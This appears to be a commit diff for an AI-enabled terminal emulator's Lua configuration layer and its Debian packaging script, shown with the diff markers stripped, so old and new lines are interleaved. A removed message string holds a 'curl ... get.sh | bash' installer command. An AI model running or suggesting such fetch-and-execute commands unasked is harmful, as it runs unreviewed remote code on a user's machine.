o.display.width = clamp(width, 0.15, 0.8, d.display.width)
if not M.MODES[o.mode] then
warnings[#warnings + 1] = "mode: expected 'manual' or 'auto'"
o.mode = d.mode
end
if o.new_session_in ~= 'split' and o.new_session_in ~= 'tab' then
warnings[#warnings + 1] = "new_session_in: expected 'split' or 'tab'"
o.new_session_in = d.new_session_in
o.history.max = math.floor(clamp(o.history.max, 0, 100000, d.history.max))
o.autocomplete_timeout_ms = math.floor(clamp(o.autocomplete_timeout_ms, 500, 30000, d.autocomplete_timeout_ms))
for name, default in pairs(M.COLORS) do
if not M.is_color(o.colors[name]) then
warnings[#warnings + 1] = 'colors.' .. name .. ": expected a palette number 0-255, '#rrggbb' or false"
o.colors[name] = default
end
end
local fields = {}
@@ -433,6 +524,10 @@ function M.options(user)
warnings[#warnings + 1] = 'cli: expected a path'
o.cli = nil
end
if o.ide ~= nil and (type(o.ide) ~= 'string' or o.ide == '') then
warnings[#warnings + 1] = 'ide: expected a path'
o.ide = nil
end
return o, warnings
end
@@ -474,6 +569,11 @@ function M.session_from_vars(vars)
if state and M.STATES[state] then
s.state = state
end
-- The terminal's display says that it is one; the CLI's own interface does not.
if get('lembas_surface', 16) == 'display' then
s.display = true
end
s.ask = M.parse_ask(vars.lembas_ask)
local ctx = get('lembas_context', 8)
if ctx then
local n = tonumber((ctx:gsub('%%$', '')))
@@ -484,9 +584,37 @@ function M.session_from_vars(vars)
return s
end
-- THE word the display's `lembas_ask` starts with while a command it placed at
-- the person's prompt waits for them, in one place.
M.PLACED_KIND = 'placed'
-- What the display asks of the person now, from its `lembas_ask` variable:
-- "<kind> <keys> <text>", as in "approval yn terminal_run: make test".
-- nil when nothing is asked (or the value is not that).
function M.parse_ask(value)
if type(value) ~= 'string' or value == '' then
return nil
end
local line = M.one_line(value, 200)
-- A command placed at the person's prompt, which waits for them to run it,
-- change it or dismiss it: "placed <the command>". It takes no key of ours.
local placed = line == M.PLACED_KIND and '' or line:match('^' .. M.PLACED_KIND .. ' (.*)$')
if placed then
return { kind = 'placed', keys = '', text = placed }
end
local kind, keys, text = line:match('^(%a+) (%S+) ?(.*)$')
if kind ~= 'approval' and kind ~= 'question' then
return nil
end
return { kind = kind, keys = keys, text = text }
end
-- The session bar as a list of { text =, attention = } parts.
function M.bar_parts(session, fields, private)
function M.bar_parts(session, fields, private, ai_off)
local parts = {}
if ai_off then
return { { text = 'AI off', off = true } }
end
if session then
for _, f in ipairs(fields) do
local text
@@ -510,8 +638,8 @@ end
-- The same as items for the terminal's format function. Only Text items carry
-- text from the pane, and that text has no control character left in it.
function M.bar_items(session, fields, private)
local parts = M.bar_parts(session, fields, private)
function M.bar_items(session, fields, private, ai_off)
local parts = M.bar_parts(session, fields, private, ai_off)
if #parts == 0 then
return nil
end
@@ -527,6 +655,10 @@ function M.bar_items(session, fields, private)
items[#items + 1] = { Foreground = { AnsiColor = 'Yellow' } }
items[#items + 1] = { Text = p.text }
items[#items + 1] = 'ResetAttributes'
elseif p.off then
items[#items + 1] = { Attribute = { Intensity = 'Half' } }
items[#items + 1] = { Text = p.text }
items[#items + 1] = 'ResetAttributes'
elseif p.private then
items[#items + 1] = { Foreground = { AnsiColor = 'Fuchsia' } }
items[#items + 1] = { Text = p.text }
@@ -590,19 +722,22 @@ function M.tab_title(tab, opts)
}
end
-- Which pane of a tab runs LLeMbas. panes: a list of { pane_id =, user_vars = }.
-- Prefers one that is not `except` (the pane the person is in).
function M.find_session_pane(panes, except)
local found
-- Which pane of a tab is the terminal's display. panes: a list of
-- { pane_id =, user_vars = }. `started`: the id of a pane the layer started
-- as the display, which may not have said anything yet. A pane running the
-- CLI's own interface is never the display.
function M.find_display_pane(panes, started)
local starting
for _, p in ipairs(panes or {}) do
if M.session_from_vars(p.user_vars) then
if p.pane_id ~= except then
return p.pane_id
end
found = found or p.pane_id
local s = M.session_from_vars(p.user_vars)
if s and s.display then
return p.pane_id
end
if started ~= nil and p.pane_id == started and not s then
starting = p.pane_id
end
end
return found
return starting
end
----------------------------------------------------------------------------
@@ -945,89 +1080,635 @@ function M.cli_supports_terminal(version_text)
return cmp >= 0
end
-- Where the CLI may be, in the order tried.
-- explicit: the `cli` option
-- executable_dir: where this terminal's own binaries are
-- path: $PATH
-- windows: true on Windows
function M.cli_candidates(explicit, executable_dir, path, windows)
-- THE capability check of the display and what came with it, in one place.
-- What `lembas --version --json` printed, decoded: { version, terminal_contract,
-- capabilities = { names } }. Returns { version, contract, has = { name = true } },
-- or nil when it is not that (a CLI from before it answers with plain text).
function M.cli_info(decoded)
if type(decoded) ~= 'table' or type(decoded.capabilities) ~= 'table' then
return nil
end
local info = { has = {}, contract = 0, version = '' }
if type(decoded.version) == 'string' then
info.version = M.one_line(decoded.version, 64)
end
if type(decoded.terminal_contract) == 'number' then
info.contract = decoded.terminal_contract
end
for _, name in ipairs(decoded.capabilities) do
if type(name) == 'string' then
info.has[name] = true
end
end
return info
end
-- Does that CLI have this part (a key of M.CAP)?
function M.cli_has(info, part)
local contract = M.CAP_CONTRACT[part] or M.CONTRACT
return type(info) == 'table' and info.contract >= contract and info.has[M.CAP[part]] == true
end
function M.version_json_args(cli)
return { cli, '--version', '--json' }
end
-- A model as it goes onto a command line or into a line for the display: one
-- word of plain characters. Only what looks like one is passed on.
function M.is_model_ref(ref)
return type(ref) == 'string'
and #ref > 0
and #ref <= M.LIMITS.model_ref_chars
and ref:match('^[%w][%w%._:/@%+%-]*$') ~= nil
end
-- The id of a conversation: the same id is the same conversation for the CLI,
-- so it is this run of the terminal (seed: when it first needed one) and the
-- tab. Characters: letters, digits, '.', '_', '-'.
function M.window_id(seed, tab_id)
return string.format('t%d-%d', math.floor(seed), math.floor(tab_id))
end
-- THE command that starts the display, in one place.
-- o: { window = <id>, pane = <the person's pane>, context = <file>|nil,
-- mode = 'manual'|'auto'|nil, model = <ref>|nil, new = true|nil }
function M.display_args(cli, o)
local args = { cli, 'terminal', '--window', o.window }
if type(o.pane) == 'number' then
args[#args + 1] = '--pane'
args[#args + 1] = string.format('%d', o.pane)
end
if o.context then
args[#args + 1] = '--terminal-context'
args[#args + 1] = o.context
end
if M.is_model_ref(o.model) then
args[#args + 1] = '-m'
args[#args + 1] = o.model
end
if M.MODES[o.mode] then
args[#args + 1] = '--mode'
args[#args + 1] = o.mode
end
if o.new then
args[#args + 1] = '--new'
end
return args
end
-- THE lines and keys the terminal sends to the display on the person's
-- behalf, in one place. Each is what is written to the display's pane.
-- M.display_line('model', ref) | ('mode', name) | ('new')
-- nil when the argument is not what that line takes.
function M.display_line(name, arg)
if name == 'model' then
if not M.is_model_ref(arg) then
return nil
end
return '/model ' .. arg .. '\r'
elseif name == 'mode' then
if not M.MODES[arg] then
return nil
end
return '/mode ' .. arg .. '\r'
elseif name == 'new' then
return '/new\r'
end
return nil
end
-- What answers an approval and what stops a turn, each a line of its own:
-- unambiguous, where a single key counts only while something is asked.
M.DISPLAY_KEYS = { approve = '/approve\r', always = '/always\r', deny = '/deny\r', stop = '/stop\r' }
-- The display ends at once when it cannot start (not logged in, one runs for
-- this window already), and a pane that closes at once says nothing. So on
-- systems with a shell it is started through this, which keeps the pane with
-- the display's own sentence until Enter. The command's words are handed over
-- as arguments, never as text of the script.
M.DISPLAY_HOLD = '"$@"; s=$?; [ "$s" -eq 0 ] && exit 0; '
.. [[printf '\n[LLeMbas ended (status %s). Press Enter to close this pane.] ' "$s"; read -r _]]
function M.held(args)
local out = { '/bin/sh', '-c', M.DISPLAY_HOLD, 'llembas-display' }
for _, a in ipairs(args) do
out[#out + 1] = a
end
return out
end
-- THE commands of the terminal's two models, in one place.
function M.models_args(cli)
return { cli, 'terminal', 'models', '--json' }
end
-- which: 'main' or 'autocomplete'; ref: a model, or nil for "none of my own".
function M.models_set_args(cli, which, ref)
local flag = which == 'autocomplete' and '--autocomplete' or '--main'
return { cli, 'terminal', 'models', 'set', flag, M.is_model_ref(ref) and ref or 'default' }
end
-- What `lembas terminal models --json` printed, decoded, as what the layer
-- keeps: { main = <the chat model a display would start on>|nil,
-- autocomplete = <the autocomplete model>|nil,
-- choices = { main = { { id =, label = } … }, autocomplete = { … } } }
-- nil when it is not that.
function M.terminal_models(decoded)
if type(decoded) ~= 'table' or type(decoded.models) ~= 'table' then
return nil
end
local function ref_of(v)
return M.is_model_ref(v) and v or nil
end
local main = type(decoded.main) == 'table' and decoded.main or {}
local ac = type(decoded.autocomplete) == 'table' and decoded.autocomplete or {}
local out = {
main = ref_of(main.model) or ref_of(main.start),
autocomplete = ref_of(ac.model) or ref_of(ac.account),
choices = { main = {}, autocomplete = {} },
}
for _, m in ipairs(decoded.models) do
if type(m) == 'table' then
local name = type(m.name) == 'string' and M.one_line(m.name, 48) or ''
local uses = type(m['for']) == 'table' and m['for'] or { 'main' }
for _, use in ipairs(uses) do
-- a display takes a model by its ref, a completion by its id
local id = ref_of(use == 'autocomplete' and m.id or m.ref) or ref_of(m.id)
local list = out.choices[use]
if id and list then
list[#list + 1] = { id = id, label = (name ~= '' and name ~= id) and (name .. ' · ' .. id) or id }
end
end
end
end
return out
end
----------------------------------------------------------------------------
-- What the person chose, remembered: the engine's store of the terminal's
-- settings (`lembas terminal settings`), for this machine and for a working
-- directory. Everything the terminal assumes of it is in this part.
-- The settings, in the order they are shown. kind: 'switch' (on or off),
-- 'mode', 'model', 'width' (the display's part of the pane).
M.SETTINGS = {
{ key = 'ai', kind = 'switch', name = 'AI' },
{ key = 'autocomplete', kind = 'switch', name = 'AI autocomplete' },
{ key = 'suggestions', kind = 'switch', name = 'suggestions' },
{ key = 'highlight', kind = 'switch', name = 'syntax highlighting' },
{ key = 'mode', kind = 'mode', name = 'mode' },
{ key = 'main_model', kind = 'model', name = 'chat model' },
{ key = 'autocomplete_model', kind = 'model', name = 'autocomplete model' },
{ key = 'display_width', kind = 'width', name = 'display width' },
}
M.SETTING = {}
for _, s in ipairs(M.SETTINGS) do
M.SETTING[s.key] = s
end
-- what the store takes for the display's width
M.WIDTH_MIN, M.WIDTH_MAX = 0.2, 0.6
-- A value of a setting as the layer keeps it, from what the store said or
-- what the person picked; nil when it is not a value of that setting.
function M.setting_value(key, v)
local s = M.SETTING[key]
if not s then
return nil
end
if s.kind == 'switch' then
if v == true or v == 'true' or v == 'on' then
return true
elseif v == false or v == 'false' or v == 'off' then
return false
end
return nil
elseif s.kind == 'mode' then
return M.MODES[v] and v or nil
elseif s.kind == 'model' then
return M.is_model_ref(v) and v or nil
elseif s.kind == 'width' then
local n = tonumber(v)
if not n or n ~= n or n <= 0 then
return nil
end
-- a part of the pane, or the same in percent
if n > 1 then
n = n / 100
end
if n < M.WIDTH_MIN or n > M.WIDTH_MAX then
return nil
end
return n
end
return nil
end
-- A value as it is written on the engine's command line; nil when it is none.
function M.setting_text(key, v)
v = M.setting_value(key, v)
if v == nil then
return nil
end
if type(v) == 'boolean' then
return v and 'true' or 'false'
elseif type(v) == 'number' then
return string.format('%.2f', v)
end
return v
end
-- A value as the person reads it.
function M.setting_shown(key, v)
local s = M.SETTING[key]
if v == nil or not s then
return s and s.kind == 'model' and "the engine's own choice" or 'not set'
end
if type(v) == 'boolean' then
return v and 'on' or 'off'
elseif type(v) == 'number' then
return string.format('%d%%', math.floor(v * 100 + 0.5))
end
return M.one_line(tostring(v), 64)
end
-- THE commands of the store, in one place.
function M.settings_args(cli, cwd)
return { cli, 'terminal', 'settings', '--cwd', cwd, '--json' }
end
-- level: 'here' (the directory `cwd`) or 'everywhere' (this machine).
-- value nil: the key is removed at that level. nil when there is nothing to run.
function M.settings_set_args(cli, level, cwd, key, value)
if not M.SETTING[key] then
return nil
end
local text = 'default'
if value ~= nil then
text = M.setting_text(key, value)
if not text then
return nil
end
end
local args = { cli, 'terminal', 'settings', 'set' }
if level == 'here' then
if type(cwd) ~= 'string' or cwd:sub(1, 1) ~= '/' then
return nil
end
args[#args + 1] = '--cwd'
args[#args + 1] = cwd
else
args[#args + 1] = '--global'
end
args[#args + 1] = '--json'
args[#args + 1] = key .. '=' .. text
return args
end
function M.settings_forget_args(cli, cwd)
return { cli, 'terminal', 'settings', 'forget', '--cwd', cwd, '--json' }
end
-- What `lembas terminal settings --cwd <dir> --json` printed, decoded, as the
-- flat table the layer keeps for a directory:
-- directory = <the path of the directory's own entry>, or '' when it has none
-- v_<key> = the value that applies (absent: none)
-- f_<key> = where it comes from: 'default', 'global' or 'directory'
-- p_<key> = for 'directory', the path of the entry it comes from
-- nil when it is not that. Only values of the right kind are kept; a value
-- that is not one counts as "default", so a store this layer does not
-- understand changes nothing.
function M.settings_entry(decoded)
if type(decoded) ~= 'table' or type(decoded.effective) ~= 'table' then
return nil
end
local from = type(decoded.from) == 'table' and decoded.from or {}
local e = { directory = '' }
if type(decoded.directory) == 'table' and type(decoded.directory.path) == 'string' then
e.directory = M.one_line(decoded.directory.path, 1024)
end
for _, s in ipairs(M.SETTINGS) do
local v = M.setting_value(s.key, decoded.effective[s.key])
local f = from[s.key]
if v == nil or type(f) ~= 'string' or f == '' or f == 'default' then
e['f_' .. s.key] = 'default'
if v ~= nil then
e['v_' .. s.key] = v
end
elseif f == 'global' then
e['f_' .. s.key] = 'global'
e['v_' .. s.key] = v
else
e['f_' .. s.key] = 'directory'
e['p_' .. s.key] = M.one_line(f, 1024)
e['v_' .. s.key] = v
end
end
return e
end
-- Where a value comes from, as the person reads it.
-- from: 'directory' | 'global' | 'default' | 'session' | 'config'
function M.setting_source(from, path)
if from == 'directory' then
return 'here (' .. M.one_line(path or '', 60) .. ')'
elseif from == 'global' then
return 'everywhere'
elseif from == 'session' then
return 'until the terminal closes'
elseif from == 'config' then
return 'the configuration'
end
return 'default'
end
-- One line of the settings list: "mode: auto · here (/home/me/project)".
function M.setting_line(key, value, from, path)
local s = M.SETTING[key]
return string.format('%s: %s · %s', s and s.name or key, M.setting_shown(key, value), M.setting_source(from, path))
end
-- Is `host`, as a pane's shell named the machine of its directory, the
-- machine called `mine`? An empty host and localhost are; otherwise by name,
-- whole or by the first label, without case. Unknown `mine`: taken as yes.
function M.same_host(host, mine)
if type(host) ~= 'string' or host == '' or host:lower() == 'localhost' then
return true
end
if type(mine) ~= 'string' or mine == '' then
return true
end
local a, b = host:lower(), mine:lower()
return a == b or a:match('^[^%.]*') == b:match('^[^%.]*')
end
-- What stands before the question on the ask line, so that the person sees
-- which model and mode will answer before sending: "llembas qwen · auto".
function M.ask_prefix(model, mode, screen)
local parts = {}
if type(model) == 'string' and model ~= '' then
parts[#parts + 1] = M.one_line(model, 40)
end
if type(mode) == 'string' and mode ~= '' then
parts[#parts + 1] = M.one_line(mode, 16)
end
if screen then
parts[#parts + 1] = 'this screen'
end
if #parts == 0 then
return 'llembas'
end
return 'llembas ' .. table.concat(parts, ' · ')
end
----------------------------------------------------------------------------
-- A pane's status record: what the shell integration says at every prompt
-- (llembas/shell/llembas-tty.sh), as the user variable `llembas_tty_status`.
M.STATUS_VAR = 'llembas_tty_status'
-- parse_status(text) -> { id, seq, state, exit|nil, ran, time|nil, shell|nil,
-- cwd|nil, host|nil } or nil when the text is not a record. It is what a pane
-- said of itself: text, never trusted for more than that.
function M.parse_status(text)
if type(text) ~= 'string' or #text > M.LIMITS.status_bytes then
return nil
end
local fields = {}
local first = true
for line in (text .. '\n'):gmatch('([^\n]*)\n') do
line = line:gsub('\r$', '')
if first then
if line ~= 'llembas-tty-status=1' then
return nil
end
first = false
elseif line ~= '' then
local k, v = line:match('^([%w_%-]+)=(.*)$')
if not k or #v > M.LIMITS.status_value_chars then
return nil
end
if fields[k] == nil then
fields[k] = M.clean(v, false)
end
end
end
if first then
return nil
end
local id = fields.id
if type(id) ~= 'string' or #id < 1 or #id > 64 or not id:match('^[%w%._:%-]+$') then
return nil
end
local seq = fields.seq and fields.seq:match('^%d+$') and tonumber(fields.seq)
if not seq then
return nil
end
local state = fields.state or 'prompt'
if state ~= 'prompt' and state ~= 'running' then
return nil
end
local rec = { id = id, seq = seq, state = state, ran = fields.ran == '1' }
if fields.exit and fields.exit:match('^%d+$') then
local e = tonumber(fields.exit)
if e <= 255 then
rec.exit = e
end
end
if fields.time and fields.time:match('^%d+$') then
rec.time = tonumber(fields.time)
end
for _, k in ipairs { 'shell', 'cwd', 'host' } do
if fields[k] and fields[k] ~= '' then
rec[k] = fields[k]
end
end
return rec
end
-- The record as the terminal writes it to the pane's status file when it
-- came by user variable: no process id (the shell may be on another machine)
-- and `via=uservar`, so that a reader knows it is what the pane said.
function M.status_text(rec)
local lines = { 'llembas-tty-status=1', 'id=' .. rec.id, string.format('seq=%d', rec.seq), 'state=' .. rec.state }
if rec.exit then
lines[#lines + 1] = string.format('exit=%d', rec.exit)
end
if rec.ran then
lines[#lines + 1] = 'ran=1'
end
if rec.time then
lines[#lines + 1] = string.format('time=%d', rec.time)
end
for _, k in ipairs { 'shell', 'host' } do
if rec[k] then
lines[#lines + 1] = k .. '=' .. rec[k]
end
end
lines[#lines + 1] = 'via=uservar'
if rec.cwd then
lines[#lines + 1] = 'cwd=' .. rec.cwd
end
return table.concat(lines, '\n') .. '\n'
end
-- Is `a` the same moment of the same shell as `b`? Then the file is right as it is.
function M.same_status(a, b)
return type(a) == 'table' and type(b) == 'table' and a.id == b.id and a.seq == b.seq and a.state == b.state
end
-- Where the status records are: the same rule the shell integration follows.
-- getenv: function(name) -> value|nil
function M.status_dir(getenv, home)
local function abs(name)
local v = getenv(name)
if type(v) == 'string' and v:sub(1, 1) == '/' then
return v
end
return nil
end
local explicit = abs 'LLEMBAS_TTY_STATUS_DIR'
if explicit then
return explicit
end
local runtime = abs 'XDG_RUNTIME_DIR'
if runtime then
return runtime .. '/llembas-tty'
end
local state = abs 'XDG_STATE_HOME'
if state then
return state .. '/llembas-tty'
end
if type(home) == 'string' and home ~= '' then
return home .. '/.local/state/llembas-tty'
end
return nil
end
-- The status directory of one run of the terminal: two terminals number
-- their panes alike, so each keeps its records apart.
function M.status_dir_of(base, pid)
if type(base) ~= 'string' or type(pid) ~= 'number' then
return base
end
return string.format('%s/status-%d', base, pid)
end
-- The process id in the name of such a directory; nil for any other name.
function M.status_dir_pid(path)
local base = path:match('([^/\\]+)$') or path
local pid = base:match('^status%-(%d+)$')
return pid and tonumber(pid) or nil
end
function M.status_file_name(pane_id)
return string.format('pane-%d.status', pane_id)
end
-- Where a program of the LLeMbas family may be, in the order tried. Each is an installation of
-- its own, the same one a person uses outside this terminal: the terminal carries no copy.
-- name: 'lembas' or 'llembas-ide'
-- explicit: the option naming its path (then only that)
-- home: the person's home directory: <home>/.local/bin is where both installers put
-- their program, and a terminal started from a desktop's menu often has no PATH
-- entry for it
-- path: $PATH
-- windows: true on Windows
function M.program_candidates(name, explicit, home, path, windows)
local list = {}
if explicit then
list[1] = explicit
return list
end
local name = windows and 'lembas.exe' or 'lembas'
local file = windows and (name .. '.exe') or name
local sep = windows and '\\' or '/'
if type(executable_dir) == 'string' and executable_dir ~= '' then
list[#list + 1] = executable_dir .. sep .. name
local seen = {}
local function add(dir)
local candidate = dir .. sep .. file
if not seen[candidate] then
seen[candidate] = true
list[#list + 1] = candidate
end
end
if type(path) == 'string' then
local pattern = windows and '[^;]+' or '[^:]+'
for dir in path:gmatch(pattern) do
list[#list + 1] = dir .. sep .. name
add(dir)
end
end
if not windows and type(home) == 'string' and home ~= '' then
add(home .. '/.local/bin')
end
return list
end
-- The choices of the "resume a session" list from what
-- `lembas sessions --json` printed, already decoded: a list of objects with
-- at least an `id`. nil when it is not that (an older CLI prints plain text).
function M.session_choices(decoded)
if type(decoded) ~= 'table' then
return nil
end
local list = decoded
if type(decoded.sessions) == 'table' then
list = decoded.sessions
end
local choices = {}
for _, s in ipairs(list) do
if type(s) == 'table' and M.is_session_id(s.id) then
local parts = {}
local title = type(s.title) == 'string' and M.one_line(s.title, M.LIMITS.title_chars) or ''
parts[1] = title ~= '' and title or s.id
if type(s.model) == 'string' and s.model ~= '' then
parts[#parts + 1] = M.one_line(s.model, 48)
end
if type(s.root) == 'string' and s.root ~= '' then
parts[#parts + 1] = M.one_line(s.root, 64)
end
choices[#choices + 1] = { id = s.id, label = table.concat(parts, ' · ') }
end
end
if #choices == 0 then
return nil
end
return choices
function M.cli_candidates(explicit, home, path, windows)
return M.program_candidates('lembas', explicit, home, path, windows)
end
-- A session id goes onto a command line as one argument; still, only what
-- looks like an id is passed on.
function M.is_session_id(id)
return type(id) == 'string' and #id > 0 and #id <= 128 and id:match('^[%w][%w%._:%-]*$') ~= nil
function M.ide_candidates(explicit, home, path, windows)
return M.program_candidates('llembas-ide', explicit, home, path, windows)
end
----------------------------------------------------------------------------
-- Words
M.INSTALL_COMMAND = 'curl -fsSL https://github.com/LLeMbas/LLeMbas-CLI/releases/latest/download/get.sh | bash'
-- The program that installs what is missing (llembas/setup/llembas-tty-setup, beside the
-- terminal's own binaries).
M.SETUP_NAME = 'llembas-tty-setup'
M.messages = {
cli_missing = 'The LLeMbas CLI (lembas) was not found: not beside this terminal and not on PATH.\r\n'
.. 'Install it with:\r\n\r\n '
.. M.INSTALL_COMMAND
.. '\r\n\r\nor set its path: require("llembas").apply(config, { cli = "/path/to/lembas" })',
cli_missing_short = 'The LLeMbas CLI (lembas) is still not found. Install it, or set the `cli` option.',
cli_missing = 'The LLeMbas CLI (lembas) is not installed: it is not on PATH and not in ~/.local/bin.\r\n'
.. 'Install it with the command palette entry "LLeMbas: set up (CLI and IDE)",\r\n'
.. 'or in a shell: llembas-tty-setup\r\n\r\n'
.. 'If it is somewhere else: require("llembas").apply(config, { cli = "/path/to/lembas" })',
cli_missing_short = 'The LLeMbas CLI (lembas) is still not found. Run "LLeMbas: set up (CLI and IDE)", or set the `cli` option.',
ide_missing = 'LLeMbas IDE (llembas-ide) is not installed: it is not on PATH and not in ~/.local/bin.\r\n'
.. 'Install it with the command palette entry "LLeMbas: set up (CLI and IDE)",\r\n'
.. 'or in a shell: llembas-tty-setup',
setup_missing = 'The set-up program (llembas-tty-setup) is not beside this terminal. Install the LLeMbas CLI and LLeMbas IDE by their own installers.',
cli_too_old = 'This LLeMbas CLI is too old to work with the terminal: it is %s, and %s or newer is needed.\r\n'
.. 'Update it with: lembas update',
display_missing = 'This LLeMbas CLI (%s) cannot be the terminal\'s display yet: that came in a newer one.\r\n'
.. 'Update it with: lembas update\r\n\r\n'
.. 'Until then, the key that opens the CLI itself works: %s.',
models_missing = 'This LLeMbas CLI (%s) does not list models for the terminal yet.\r\n' .. 'Update it with: lembas update',
models_failed = 'The models could not be read from the LLeMbas CLI. Are you logged in? lembas login',
ai_off = 'AI is off in this terminal: the LLeMbas keys do nothing. %s turns it on.',
ai_now_on = 'AI on',
ai_now_off = 'AI off',
private = 'This pane is private: nothing of it is passed on. The question was sent alone.',
password = 'The pane is asking for a password: nothing of it is passed on. The question was sent alone.',
remote = 'LLeMbas works in local panes for now: this pane runs somewhere else.',
write_failed = 'The terminal context could not be written (%s). The question was sent alone.',
no_session_pane = 'There is no LLeMbas pane in this tab.',
private_on = 'This pane is now private: nothing of it is passed to LLeMbas.',
no_display = 'LLeMbas is not running in this tab: ask it something first.',
nothing_waits = 'LLeMbas is not waiting for an answer.',
answer_first = 'LLeMbas is waiting for an answer: allow or deny first (%s, %s).',
asks = 'LLeMbas asks: %s (%s allow, %s deny)',
busy = 'LLeMbas is in the middle of a turn: stop it first, or wait.',
new_next = 'The next question starts a new conversation.',
model_set = 'model: %s',
mode_set = 'mode: %s',
private_on = 'This pane is now private: nothing of it is passed to LLeMbas, and its commands are not remembered.',
private_off = 'This pane is no longer private.',
switched = '%s %s',
-- where a choice was kept: appended to what was said
kept_here = ' · here',
kept_everywhere = ' · everywhere',
kept_session = ' · until the terminal closes',
remember_needs_cli = ' (remembering it needs a newer LLeMbas CLI: lembas update)',
remember_failed = ' (it could not be kept: the LLeMbas CLI refused; it holds until the terminal closes)',
placed = 'Enter runs · edit freely · Ctrl+C dismisses',
placed_first = 'A command from LLeMbas waits at your prompt: Enter runs it, Ctrl+C dismisses it.',
forgot = "This directory's own settings are forgotten.",
nothing_to_forget = 'This directory has no settings of its own.',
width_set = 'display width: %s (from the next time the display opens)',
settings_session = 'These hold until the terminal closes: remembering them needs a newer LLeMbas CLI (lembas update).',
settings_about = 'What applies in this pane, and where each comes from. A choice made "here" is kept for this directory, '
.. 'one made "everywhere" for this machine; the directory\'s own wins.',
history_cleared = 'The command history of this terminal is cleared.',
needs_terminal = 'This is drawn by the terminal itself, and this build has no such part.',
}
return M
+1414 -155
View File
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1,3 +1,3 @@
# The verified LLeMbas CLI (scripts/fetch-cli.sh) and the packages built from it.
# The packages built here.
/bin/
/dist/
+16 -19
View File
@@ -3,18 +3,18 @@
#
# llembas/packaging/package.sh [target-dir] [out-dir] (default: target, llembas/packaging/dist)
#
# Expects: the three release binaries in <target-dir>/release, and the verified LLeMbas CLI in
# llembas/packaging/bin/lembas (scripts/fetch-cli.sh). Builds nothing itself.
# Expects: the three release binaries in <target-dir>/release. Builds nothing itself.
#
# The tree (the tarball has it under llembas-tty-<version>/, the .deb under /):
# usr/lib/llembas-tty/ llembas-tty, llembas-tty-gui, llembas-tty-mux-server, lembas
# usr/bin/ links to the three terminal binaries (not to lembas: the CLI
# a person installed themselves stays the one on PATH)
# usr/lib/llembas-tty/ llembas-tty, llembas-tty-gui, llembas-tty-mux-server, and
# llembas-tty-setup (installs the LLeMbas CLI and LLeMbas IDE
# when they are missing; the package carries neither)
# usr/bin/ links to those four
# usr/share/llembas-tty/shell/ shell integration: llembas-tty.sh, wezterm.sh, autocomplete.*
# usr/share/llembas-tty/lua/ the LLeMbas layer's source, to read (the binary has it built in)
# usr/share/applications, metainfo, icons/hicolor
# usr/share/doc/llembas-tty/ licences: ours and WezTerm's (LICENSE.md, licenses/), the
# CLI's (LICENSES-lembas.txt), README, CHANGELOG
# usr/share/doc/llembas-tty/ licences: ours and WezTerm's (LICENSE.md, licenses/), README,
# CHANGELOG
# etc/profile.d/llembas-tty.sh (.deb only)
set -euo pipefail
cd "$(dirname "$0")/../.."
@@ -24,14 +24,10 @@ OUT="${2:-llembas/packaging/dist}"
VERSION="$(tr -d '[:space:]' < VERSION)"
ARCH="$(dpkg --print-architecture)"
REL="$TARGET/release"
CLI=llembas/packaging/bin/lembas
for b in llembas-tty llembas-tty-gui llembas-tty-mux-server; do
[ -x "$REL/$b" ] || { echo "package: $REL/$b is not built" >&2; exit 1; }
done
[ -x "$CLI" ] || { echo "package: $CLI is missing (run scripts/fetch-cli.sh)" >&2; exit 1; }
[ "$("$CLI" --version)" = "$(tr -d '[:space:]' < llembas-cli.version)" ] \
|| { echo "package: $CLI is not the version in llembas-cli.version" >&2; exit 1; }
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
@@ -46,8 +42,10 @@ for b in llembas-tty llembas-tty-gui llembas-tty-mux-server; do
install -m755 -s "$REL/$b" "$lib/$b"
ln -s "../lib/llembas-tty/$b" "$root/usr/bin/$b"
done
# Not stripped: the CLI is a compiled bundle that carries its program after the executable.
install -m755 "$CLI" "$lib/lembas"
# No copy of the LLeMbas CLI or of LLeMbas IDE: each is its own installation, the same one used
# outside this terminal. The set-up program installs what is missing, by their own installers.
install -m755 llembas/setup/llembas-tty-setup "$lib/llembas-tty-setup"
ln -s ../lib/llembas-tty/llembas-tty-setup "$root/usr/bin/llembas-tty-setup"
install -m644 llembas/shell/llembas-tty.sh llembas/shell/autocomplete.bash llembas/shell/autocomplete.zsh "$share/shell/"
install -m644 assets/shell-integration/wezterm.sh "$share/shell/wezterm.sh"
@@ -65,14 +63,10 @@ install -Dm644 llembas/packaging/icons/eu.llembas.tty.svg "$root/usr/share/icons
install -m644 LICENSE.md README.md CHANGELOG.md "$doc/"
install -d "$doc/licenses"
install -m644 licenses/* "$doc/licenses/"
"$CLI" --licenses > "$doc/LICENSES-lembas.txt"
chmod 644 "$doc/LICENSES-lembas.txt"
[ -s "$doc/LICENSES-lembas.txt" ] || { echo "package: the CLI printed no licences" >&2; exit 1; }
mkdir -p "$OUT"
# The tarball: the tree as it is, to unpack anywhere (the binaries find each other and the CLI
# by their own location; source usr/share/llembas-tty/shell/llembas-tty.sh from the shell's rc).
# The tarball: the tree as it is, to unpack anywhere (the binaries find each other by their own location; source usr/share/llembas-tty/shell/llembas-tty.sh from the shell's rc).
name="llembas-tty-$VERSION-linux-$ARCH"
cp -a "$root" "$work/$name"
tar -C "$work" --owner=0 --group=0 --numeric-owner -cJf "$OUT/$name.tar.xz" "$name"
@@ -95,13 +89,16 @@ Section: utils
Priority: optional
Homepage: https://llembas.eu
Depends: $depends
Recommends: curl, openssh-client, git
Description: A terminal with LLeMbas built in
LLeMbas TTY is a terminal emulator and multiplexer, a fork of WezTerm,
with the LLeMbas agent built in. By default it is an ordinary terminal.
It installs beside WezTerm and shares nothing with it.
CONTROL
echo "/etc/profile.d/llembas-tty.sh" > "$root/DEBIAN/conffiles"
dpkg-deb --root-owner-group -b "$root" "$OUT/llembas-tty_${debver}_${ARCH}.deb" >/dev/null
# The file is named by the version as written (a dash): a forge's upload turns ~ into a dot, and
# SHA256SUMS would then name a file that is not there. The package's own Version keeps the ~.
dpkg-deb --root-owner-group -b "$root" "$OUT/llembas-tty_${VERSION}_${ARCH}.deb" >/dev/null
base="${VERSION%%-*}"
if [ "$VERSION" != "$base" ]; then
dpkg --compare-versions "$debver" lt "$base" || { echo "package: $debver does not sort below $base" >&2; exit 1; }
+215
View File
@@ -0,0 +1,215 @@
#!/usr/bin/env bash
# LLeMbas TTY's set-up: install what is missing of the LLeMbas family beside the terminal —
